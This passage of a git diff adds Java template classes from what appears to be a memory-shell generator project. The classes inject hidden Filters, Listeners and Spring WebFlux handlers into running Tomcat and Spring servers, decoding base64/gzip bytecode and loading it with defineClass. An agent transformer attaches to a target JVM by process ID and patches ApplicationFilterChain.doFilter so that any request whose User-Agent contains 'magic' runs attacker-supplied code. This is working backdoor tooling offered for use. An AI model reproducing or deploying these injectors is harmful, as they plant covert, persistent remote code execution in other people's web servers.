field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/jmg-core/src/main/java/jmg/core/template/SpringWebFluxHandlerMethodInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/SpringWebFluxHandlerMethodInjectorTpl.java new file mode 100644 index 0000000..a4738e0 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/SpringWebFluxHandlerMethodInjectorTpl.java @@ -0,0 +1,185 @@ +package jmg.core.template; + +import org.springframework.web.reactive.result.method.RequestMappingInfo; +import org.springframework.web.server.ServerWebExchange; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.Collection; +import java.util.zip.GZIPInputStream; + +/** + * spring webflux + netty(default) -> spring RequestMappingHandlerMapping -> registerHandlerMethod + */ +public class SpringWebFluxHandlerMethodInjectorTpl { + + + public String getUrlPattern() { + return ""; + } + + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + public SpringWebFluxHandlerMethodInjectorTpl() { + try { + Object requestMappingHandlerMapping = getRequestMappingHandlerMapping(); + Object handlerMethod = getHandlerMethod(); + addHandlerMethod(requestMappingHandlerMapping, handlerMethod); + } catch (Exception ignored) { + } + } + + private Object getRequestMappingHandlerMapping() throws Exception { + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + Object requestMappingHandlerMapping = null; + for (int i = 0; i < threads.length; i++) { + try { + Collection handlerMappings = (Collection) getFV(getFV(getFV(getFV(getFV(getFV(getFV(getFV(threads[i], "this$0"), "handler"), "httpHandler"), "delegate"), "delegate"), "delegate"), "delegate"), "handlerMappings"); + Object[] objects = handlerMappings.toArray(); + boolean flag = false; + for (int j = 0; j < objects.length; j++) { + if (objects[j].getClass().getName().contains("RequestMappingHandlerMapping")) { + requestMappingHandlerMapping = objects[j]; + flag = true; + } + } + if (flag) { + return requestMappingHandlerMapping; + } + } catch (Exception ignored) { + } + } + return requestMappingHandlerMapping; + } + + public void addHandlerMethod(Object obj, Object handler) { + try { + Method method = handler.getClass().getDeclaredMethod("invoke", ServerWebExchange.class); + RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(getUrlPattern()).build(); + invokeMethod(obj, "registerHandlerMethod", new Class[]{Object.class, Method.class, RequestMappingInfo.class}, new Object[]{handler, method, requestMappingInfo}); + } catch (Exception ignored) { + } + } + + private Object getHandlerMethod() { + Object handler = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + try { + handler = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + handler = clazz.newInstance(); + } catch (Exception ignored) { + } + + } + return handler; + } + + + private static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + private static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + private static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + + private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + private static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + + } +} diff --git a/jmg-core/src/main/java/jmg/core/template/TomcatAgentTransformer.java b/jmg-core/src/main/java/jmg/core/template/TomcatAgentTransformer.java new file mode 100644 index 0000000..3ef6098 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/TomcatAgentTransformer.java @@ -0,0 +1,204 @@ +package jmg.core.template; + +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; + +import java.io.File; +import java.io.FileOutputStream; +import java.io.InputStream; +import java.lang.instrument.ClassFileTransformer; +import java.lang.instrument.IllegalClassFormatException; +import java.lang.instrument.Instrumentation; +import java.lang.instrument.UnmodifiableClassException; +import java.lang.management.ManagementFactory; +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; +import java.security.ProtectionDomain; +import java.util.List; + +public class TomcatAgentTransformer implements ClassFileTransformer { + + public static final String targetClassName = "org.apache.catalina.core.ApplicationFilterChain"; + public static final String targetMethodName = "doFilter"; + public String injectHeaderName = "User-Agent"; + + public String injectHeaderValue = "magic"; + + public String getInjectorCode() { + return ""; + } + + public static void agentmain(String args, Instrumentation instrumentation) throws UnmodifiableClassException { + instrumentation.addTransformer(new TomcatAgentTransformer(), true); + for (Class clz : instrumentation.getAllLoadedClasses()) { + if (!clz.getName().equals(targetClassName)) continue; + instrumentation.retransformClasses(clz); + } + } + + @Override + public byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { + className = className.replace("/", "."); + if (className.equals(targetClassName) && classBeingRedefined != null) { + try { + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(classBeingRedefined)); + CtClass ctClass = pool.getCtClass(className); + CtMethod ctMethod = ctClass.getDeclaredMethod(targetMethodName); + String injectorCode = getInjectorCode(); + String code = String.format("if ($1 instanceof javax.servlet.http.HttpServletRequest && $2 instanceof javax.servlet.http.HttpServletResponse) {\n" + + " javax.servlet.http.HttpServletRequest httpRequest = (javax.servlet.http.HttpServletRequest) $1;\n" + + " javax.servlet.http.HttpServletResponse httpResponse = (javax.servlet.http.HttpServletResponse) $2;\n" + + " try {\n" + + " if (httpRequest.getHeader(\"%s\") != null && httpRequest.getHeader(\"%s\").contains(\"%s\")) {\n" + + " String injectorCode = \"%s\";\n" + + " byte[] byteArray;\n" + + " try {\n" + + " Class base64DecoderClazz = Class.forName(\"sun.misc.BASE64Decoder\");\n" + + " byteArray = (byte[]) base64DecoderClazz.getMethod(\"decodeBuffer\", new Class[]{String.class}).invoke(base64DecoderClazz.newInstance(), new Object[]{injectorCode});\n" + + " } catch (Throwable e) {\n" + + " Class base64Clazz = Class.forName(\"java.util.Base64\");\n" + + " Object decoder = base64Clazz.getMethod(\"getDecoder\", null).invoke(base64Clazz, null);\n" + + " byteArray = (byte[]) base64Clazz.getMethod(\"decode\", new Class[]{byte[].class}).invoke(decoder, new Object[]{injectorCode});\n" + + " }\n" + + " java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());\n" + + " java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});\n" + + " method.setAccessible(true);\n" + + " Class clazz = (Class) method.invoke(classLoader, new Object[]{byteArray, new Integer(0), new Integer(byteArray.length)});\n" + + " clazz.newInstance();\n" + + " }\n" + + " } catch (Exception e) {\n" + + " e.printStackTrace();\n" + + " }\n" + + "}", injectHeaderName, injectHeaderName, injectHeaderValue, injectorCode); + ctMethod.insertBefore(code); + byte[] bytes = ctClass.toBytecode(); + ctClass.detach(); + return bytes; + } catch (Exception e) { + e.printStackTrace(); + return new byte[0]; + } + } + return new byte[0]; + } + + private static Class virtualMachineClass; + private static Class virtualMachineDescriptorClass; + private static List vms; + + static { + try { + // 获取 tools.jar 的路径 + StringBuilder toolsJarPath = new StringBuilder(); + toolsJarPath.append(System.getProperty("java.home")) + .append(File.separator) + .append("..") + .append(File.separator) + .append("lib") + .append(File.separator) + .append("tools.jar"); + File toolsJarFile = new File(toolsJarPath.toString()); + + // 如果 JDK 目录下没有找到 tools.jar(纯JRE) + if (!toolsJarFile.exists() || !toolsJarFile.isFile()) { + // 释放内置的 tools.jar + InputStream jarStream = TomcatAgentTransformer.class.getClassLoader().getResourceAsStream("tools.jar"); + toolsJarFile = File.createTempFile("tools", ".jar"); + + FileOutputStream out = null; + try { + out = new FileOutputStream(toolsJarFile); + byte[] buffer = new byte[1024]; + int bytesRead; + while ((bytesRead = jarStream.read(buffer)) != -1) { + out.write(buffer, 0, bytesRead); + } + } finally { + if (out != null) { + out.close(); + } + } + } + + // Load the VirtualMachine and VirtualMachineDescriptor classes + URL url = toolsJarFile.toURI().toURL(); + URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url}); + virtualMachineClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachine"); + virtualMachineDescriptorClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor"); + vms = (List) virtualMachineClass.getMethod("list").invoke(virtualMachineClass); + } catch (Exception e) { + e.printStackTrace(); + } + + } + + public static void main(String[] args) throws Exception { + String jvmProcessId = null; + if (args.length == 0) { + // 列出所有 pid + listAllJvmPids(); + } else { + try { + Integer.parseInt(args[0]); + jvmProcessId = args[0]; + attachAgentToTargetJvm(jvmProcessId); + } catch (NumberFormatException e) { + throw new IllegalArgumentException("Argument must be an integer representing a JVM process ID"); + } + } + } + + + public static void listAllJvmPids() throws Exception { + for (Object vm : vms) { + Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName"); + String displayName = (String) displayNameMethod.invoke(vm); + Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id"); + String id = (String) getId.invoke(vm); + infoLog(String.format("Found pid %s ——> [%s]", id, displayName)); + } + } + + private static void attachAgentToTargetJvm(String targetPID) throws Exception { + String agentFilePath = new File(TomcatAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath(); + infoLog("Current agent path: " + agentFilePath); + File agentFile = new File(agentFilePath); + String currentPid = getCurrentPID(); + if (targetPID.equals(currentPid)) { + infoLog("Skipping attaching to self"); + } else { + try { + infoLog("Attaching to target JVM with PID: " + targetPID); + Object jvm = virtualMachineClass.getMethod("attach", new Class[]{String.class}).invoke(null, targetPID); + Method loadAgent = virtualMachineClass.getDeclaredMethod("loadAgent", String.class); + loadAgent.invoke(jvm, agentFile.getAbsolutePath()); + Method detach = virtualMachineClass.getDeclaredMethod("detach"); + detach.invoke(jvm); + successLog("Attached to target JVM and loaded agent successfully"); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + } + + private static String getCurrentPID() { + return ManagementFactory.getRuntimeMXBean().getName().split("@")[0]; + } + + public static void infoLog(String message) { + System.out.println("[*] " + message); + } + + public static void failLog(String message) { + System.out.println("[-] " + message); + } + + public static void successLog(String message) { + System.out.println("[+] " + message); + } + +} \ No newline at end of file diff --git a/jmg-core/src/main/java/jmg/core/template/TomcatFilterInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/TomcatFilterInjectorTpl.java new file mode 100644 index 0000000..09b901e --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/TomcatFilterInjectorTpl.java @@ -0,0 +1,294 @@ +package jmg.core.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.zip.GZIPInputStream; + +/** + * Date: 2022/11/01 + * Author: pen4uin + * Description: Tomcat Filter 注入器 + * Tested version: + * jdk v1.8.0_275 + * tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67 + */ + +public class TomcatFilterInjectorTpl { + + public String getUrlPattern() { + return "/*"; + } + + + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + static { + new TomcatFilterInjectorTpl(); + } + + public TomcatFilterInjectorTpl() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object filter = getFilter(context); + addFilter(context, filter); + } + } catch (Exception ignored) { + + } + + + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + Object context = null; + try { + for (Thread thread : threads) { + // 适配 v5/v6/7/8 + if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) { + HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); + // 原: map.get("localhost") + // 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败 + for (Object key : childrenMap.keySet()) { + HashMap children = (HashMap) getFV(childrenMap.get(key), "children"); + // 原: context = children.get(""); + // 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败 + for (Object key1 : children.keySet()) { + context = children.get(key1); + if (context != null && context.getClass().getName().contains("StandardContext")) + contexts.add(context); + // 兼容 spring boot 2.x embedded tomcat + if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) + contexts.add(context); + } + } + } + // 适配 tomcat v9 + else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { + context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context"); + if (context != null && context.getClass().getName().contains("StandardContext")) + contexts.add(context); + if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) + contexts.add(context); + } + } + } catch (Exception e) { + throw new RuntimeException(e); + } + return contexts; + } + + + private Object getFilter(Object context) { + + Object filter = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + filter = classLoader.loadClass(getClassName()); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + filter = clazz.newInstance(); + } catch (Throwable tt) { + } + } + return filter; + } + + public String getFilterName(String className) { + if (className.contains(".")) { + int lastDotIndex = className.lastIndexOf("."); + return className.substring(lastDotIndex + 1); + } else { + return className; + } + } + + + public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException { + ClassLoader catalinaLoader = getCatalinaLoader(); + String filterClassName = getClassName(); + String filterName = getFilterName(filterClassName); + Object filterDef; + Object filterMap; + + // 防止重复注入 + try { + if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterName}) != null) { + return; + } + } catch (Exception ignored) { + } + + try { + // tomcat v8/9 + filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance(); + filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance(); + } catch (Exception e2) { + // tomcat v6/7 + try { + filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); + filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); + } catch (Exception e) { + // tomcat v5 + filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, catalinaLoader).newInstance(); + filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, catalinaLoader).newInstance(); + } + } + try { + invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); + invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName}); + invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); + invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); + invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"}); + Constructor[] constructors; + try { + invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); + constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); + } catch (Exception e) { + // tomcat v5 + invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); + constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, catalinaLoader).getDeclaredConstructors(); + } + try { + // v7.0.0 以上 + invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } catch (Exception e) { + invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } + + constructors[0].setAccessible(true); + Object filterConfig = constructors[0].newInstance(context, filterDef); + Map filterConfigs = (Map) getFV(context, "filterConfigs"); + filterConfigs.put(filterName, filterConfig); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + ClassLoader catalinaLoader = null; + for (int i = 0; i < threads.length; i++) { + // 适配 v5 的 Class Loader 问题 + if (threads[i].getName().contains("ContainerBackgroundProcessor")) { + catalinaLoader = threads[i].getContextClassLoader(); + break; + } + } + return catalinaLoader; + } + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/jmg-core/src/main/java/jmg/core/template/TomcatListenerInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/TomcatListenerInjectorTpl.java new file mode 100644 index 0000000..96010c1 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/TomcatListenerInjectorTpl.java @@ -0,0 +1,230 @@ +package jmg.core.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.zip.GZIPInputStream; + +/** + * Tomcat Listener 注入器 + * Author: pen4uin + * 测试版本: + * jdk v1.8.0_275 + * tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67 + */ +public class TomcatListenerInjectorTpl { + + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + static { + new TomcatListenerInjectorTpl(); + } + + public TomcatListenerInjectorTpl() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object listener = getListener(context); + addListener(context, listener); + } + } catch (Exception ignored) { + + } + + + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + Object context = null; + try { + for (Thread thread : threads) { + // 适配 v5/v6/7/8 + if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) { + HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); + // 原: map.get("localhost") + // 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败 + for (Object key : childrenMap.keySet()) { + HashMap children = (HashMap) getFV(childrenMap.get(key), "children"); + // 原: context = children.get(""); + // 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败 + for (Object key1 : children.keySet()) { + context = children.get(key1); + if (context != null && context.getClass().getName().contains("StandardContext")) + contexts.add(context); + // 兼容 spring boot 2.x embedded tomcat + if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) + contexts.add(context); + } + } + } + // 适配 tomcat v9 + else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { + context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context"); + if (context != null && context.getClass().getName().contains("StandardContext")) + contexts.add(context); + if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) + contexts.add(context); + } + } + } catch (Exception e) { + throw new RuntimeException(e); + } + return contexts; + } + + private Object getListener(Object context) { + + Object listener = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + listener = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + listener = clazz.newInstance(); + } catch (Throwable tt) { + } + } + return listener; + } + + public void addListener(Object context, Object listener) throws Exception { + if (isInjected(context, listener.getClass().getName())) { + return; + } + try { + invokeMethod(context, "addApplicationEventListener", new Class[]{Object.class}, new Object[]{listener}); + } catch (Exception e) { + Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners"); + List listeners = Arrays.asList(objects); + ArrayList arrayList = new ArrayList(listeners); + arrayList.add(listener); + // (Object) 类型转换 解决 tomcat v5/v6 IllegalArgumentException: argument type mismatch + //context.getClass().getMethod("setApplicationEventListeners",Object[].class).invoke(context, (Object) arrayList.toArray()); + invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{(Object) arrayList.toArray()}); + } + } + + public boolean isInjected(Object context, String evilClassName) throws Exception { + Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners"); + List listeners = Arrays.asList(objects); + ArrayList arrayList = new ArrayList(listeners); + for (int i = 0; i < arrayList.size(); i++) { + if (arrayList.get(i).getClass().getName().contains(evilClassName)) { + return true; + } + } + return false; + } + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch 